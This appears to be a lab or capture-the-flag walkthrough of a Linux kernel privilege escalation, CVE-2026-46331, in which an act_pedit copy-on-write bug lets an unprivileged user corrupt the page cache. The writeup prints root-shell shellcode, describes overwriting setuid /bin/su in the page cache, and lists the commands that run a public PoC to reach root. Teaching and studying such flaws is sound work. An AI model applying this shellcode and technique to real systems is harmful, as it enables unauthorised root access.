← Back to Writeups
CUSTOMMediumPentest

Pedit COW – Linux Kernel Local Privilege Escalation (CVE-2026-46331)

XESXOR9/10/20265 min read
#pentest#custom#medium#cve_2026_46331_pedit_cow_page_#page_cache_poisoning_via_sendf#setuid_binary_elf_entry_overwr#shellcode_injection_setuid_exe#unprivileged_user_namespace_ca#cve-2026-46331

Pedit COW – Linux Kernel Local Privilege Escalation (CVE-2026-46331)

Platform: CUSTOM | Category: Pentest | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: cve_2026_46331_pedit_cow_page_cache_corruption, page_cache_poisoning_via_sendfile, setuid_binary_elf_entry_overwrite, shellcode_injection_setuid_execve, unprivileged_user_namespace_cap_net_admin

Summary

Walkthrough of the CUSTOM Pentest Pedit COW – Linux Kernel Local Privilege Escalation (CVE-2026-46331). Task: Linux kernel LPE via CVE-2026-46331 — act_pedit partial copy-on-write bug in net/sched allows page cache corruption. Solution: exploit pedit COW to overwrite /bin/su ELF entry point in page cach

Description

This laboratory demonstrates pedit COW (CVE-2026-46331), a Linux kernel local privilege escalation vulnerability in the traffic-control subsystem. The flaw exists in the act_pedit packet-editing action, where the kernel may calculate the copy-on-write writable range incorrectly before all runtime packet offsets are fully known. Under the right local conditions, this can allow writes into shared page cache memory.

Using the low-privilege credentials (guest/guest), connect to the machine over SSH and escalate to root. Read /root/secret.txt.

Target: 172.20.45.103

English summary: Given SSH access as an unprivileged user (guest/guest) to a Debian 11 box running a vulnerable kernel (6.1.174). The goal is to exploit CVE-2026-46331 in the kernel's act_pedit traffic control module to escalate privileges to root and read /root/secret.txt.

Analysis

Target Reconnaissance

  • OS: Debian 11 (bullseye)
  • Kernel: 6.1.0-0.deb11.49-amd64 (6.1.174) — within the vulnerable range v5.18 .. v7.1-rc6
  • Loaded modules: act_pedit, cls_matchall, cls_basic, sch_ingress — the entire tc (traffic control) stack is present
  • User namespaces: unprivileged_userns_clone = 1 — unprivileged users can create user namespaces
  • Setuid binary: /bin/su is setuid-root (-rwsr-xr-x 1 root root 71912)
  • Build tools: GCC and make available on target
  • Network: No internet access from the box (file transfer must be done via SSH)

Vulnerability: CVE-2026-46331

The vulnerability resides in net/sched/act_pedit.c — the packet-editing tc action. When a pedit action has multiple keys with different header types (e.g., NETWORK + TCP), the kernel calculates the copy-on-write (COW) writable range based on the first key's offset before all runtime packet offsets are resolved.

The critical sequence:

  1. A pedit filter with a NETWORK key that inflates the IP header length (IHL=15) is installed
  2. A subsequent TCP key targets an offset that falls past the stale COW range boundary
  3. When sendfile() places a file's page cache page into an egress skb, the pedit action writes past the COW boundary — directly into the shared page cache page
  4. This corrupts the cached copy of the file without modifying the on-disk data

Exploitation Strategy

The public PoC packet_edit_meme weaponizes this into unprivileged local root via four stages:

  1. Namespace isolation: A child process calls unshare(CLONE_NEWUSER | CLONE_NEWNET) to obtain CAP_NET_ADMIN in a new user+net namespace (requires unprivileged_userns_clone = 1)
  2. Calibration: The child sets up loopback networking and calibrates the file-offset-to-pedit-key-offset delta to achieve precise page cache writes
  3. Page cache corruption: The child opens /bin/su with O_RDONLY and uses sendfile() over a loopback TCP connection with an armed egress pedit filter. This overwrites the ELF entry point in the page cache with shellcode: setgid(0); setuid(0); execve("/bin/sh")
  4. Privilege escalation: The parent process (still in the init user namespace) then calls execve("/bin/su"). The kernel loads the corrupted cached page, the setuid bit grants euid 0, and the shellcode runs as real root

Shellcode (48 bytes)

nasm
xor edi, edi          ; arg0 = 0
mov eax, 106          ; __NR_setgid
syscall
mov eax, 105          ; __NR_setuid
syscall
movabs rbx, "/bin/sh" ; push path
push rbx
mov rdi, rsp          ; argv[0] = "/bin/sh"
push rdx              ; NULL terminator
push rdi              ; argv[0]
mov rsi, rsp          ; argv = {"/bin/sh", NULL}
mov eax, 59           ; __NR_execve
syscall

Solution

Step 1: Connect and Enumerate

bash
ssh guest@172.20.45.103  # password: guest

# Verify kernel version
uname -r
# 6.1.0-0.deb11.49-amd64

# Check act_pedit module
lsmod | grep act_pedit
# act_pedit loaded

# Check user namespace support
cat /proc/sys/kernel/unprivileged_userns_clone
# 1

# Check setuid binary
ls -la /bin/su
# -rwsr-xr-x 1 root root 71912 /bin/su

Step 2: Transfer Exploit Source

Since the target has no internet access, the PoC source files were transferred via base64 encoding over SSH:

bash
# On attacker machine — for each source file:
base64 packet_edit_meme.c | ssh guest@172.20.45.103 'base64 -d > packet_edit_meme.c'
base64 pedit_primitive.c | ssh guest@172.20.45.103 'base64 -d > pedit_primitive.c'
base64 pedit_primitive.h | ssh guest@172.20.45.103 'base64 -d > pedit_primitive.h'
base64 Makefile | ssh guest@172.20.45.103 'base64 -d > Makefile'

Step 3: Compile on Target

bash
make CC=gcc
# Produces static x86_64 ELF binaries: packet_edit_meme, test_cve

Step 4: Run the Exploit

bash
./packet_edit_meme
# [*] target /bin/su as uid 1000; entry at file offset 0x...; shellcode 48 bytes
# [+] su entry overwritten; exec'ing su -> interactive root shell

Step 5: Read the Secret

bash
id
# uid=0(root) gid=0(root) groups=0(root)

cat /root/secret.txt
# REDACTED

Key Source Files

FilePurpose
packet_edit_meme.cMain exploit: finds setuid /bin/su, forks child for namespace+corruption, parent exec's su
pedit_primitive.cPage-cache write primitive via tc-pedit (calibration, netlink rtnetlink API, sendfile burst)
pedit_primitive.hAPI: setup() and api_fd_write(fd, offset, src, size) for arbitrary page-cache overwrite
test_cve.cStandalone test to verify if the kernel is vulnerable

Key Takeaways / Lessons

  • Mastering cve_2026_46331_pedit_cow_page_cache_corruption, page_cache_poisoning_via_sendfile, setuid_binary_elf_entry_overwrite, shellcode_injection_setuid_execve, unprivileged_user_namespace_cap_net_admin was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-07-09 • CUSTOM • Pedit COW – Linux Kernel Local Privilege Escalation (CVE-2026-46331) • Difficulty: Medium